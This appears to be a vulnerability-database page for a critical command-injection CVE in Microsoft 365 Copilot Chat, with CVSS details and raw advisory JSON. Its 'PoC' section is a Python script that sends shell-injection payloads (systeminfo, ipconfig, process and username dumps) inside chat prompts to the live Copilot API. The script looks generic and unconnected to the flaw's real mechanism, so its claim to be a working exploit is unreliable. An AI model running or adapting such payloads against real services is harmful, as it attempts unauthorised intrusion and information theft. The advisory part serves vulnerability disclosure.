Security Vulnerability Report
中文
CVE-2025-59272 CVSS 9.3 CRITICAL

CVE-2025-59272

Published: 2025-10-09 21:15:39
Last Modified: 2025-12-11 20:16:22

Description

Improper neutralization of special elements used in a command ('command injection') in Copilot allows an unauthorized attacker to perform information disclosure locally.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_copilot_chat:-:*:*:*:*:*:*:* - VULNERABLE
Microsoft Copilot 低于官方修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59272 - Microsoft Copilot Command Injection PoC # Vulnerability: Improper neutralization of special elements used in a command # Attack Vector: Network-based command injection leading to information disclosure import requests import json # Target Copilot endpoint (example) TARGET_URL = "https://copilot.microsoft.com/api/conversation" def exploit_command_injection(payload): """ Send a crafted prompt containing command injection payload to Copilot. The payload attempts to execute system commands to exfiltrate information. """ headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Craft the malicious prompt with command injection payload # The payload uses shell command separators to execute arbitrary commands malicious_prompt = f"Please summarize the following text: {payload}" data = { "message": malicious_prompt, "conversationId": "test-conversation-id" } try: response = requests.post(TARGET_URL, headers=headers, json=data, timeout=30) if response.status_code == 200: result = response.json() print(f"[+] Response received: {result}") return result else: print(f"[-] Request failed with status code: {response.status_code}") return None except Exception as e: print(f"[-] Error during exploitation: {e}") return None # Example command injection payloads for information disclosure payloads = [ # Windows command injection to read system info 'test"; systeminfo > C:\\temp\\output.txt; echo "', # PowerShell command injection 'test"; Get-Process | Out-File C:\\temp\\processes.txt; echo "', # Environment variables exfiltration 'test`; echo $env:USERNAME > C:\\temp\\user.txt`', # Network configuration disclosure 'test"; ipconfig /all > C:\\temp\\network.txt; echo "', ] for i, payload in enumerate(payloads): print(f"\n[*] Trying payload {i+1}: {payload[:50]}...") result = exploit_command_injection(payload) if result: print(f"[+] Payload {i+1} may have succeeded!") break

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59272", "sourceIdentifier": "[email protected]", "published": "2025-10-09T21:15:38.930", "lastModified": "2025-12-11T20:16:22.240", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements used in a command ('command injection') in Copilot allows an unauthorized attacker to perform information disclosure locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_copilot_chat:-:*:*:*:*:*:*:*", "matchCriteriaId": "431CBC2E-E9C8-4A85-B619-F7782685F815"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59272", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}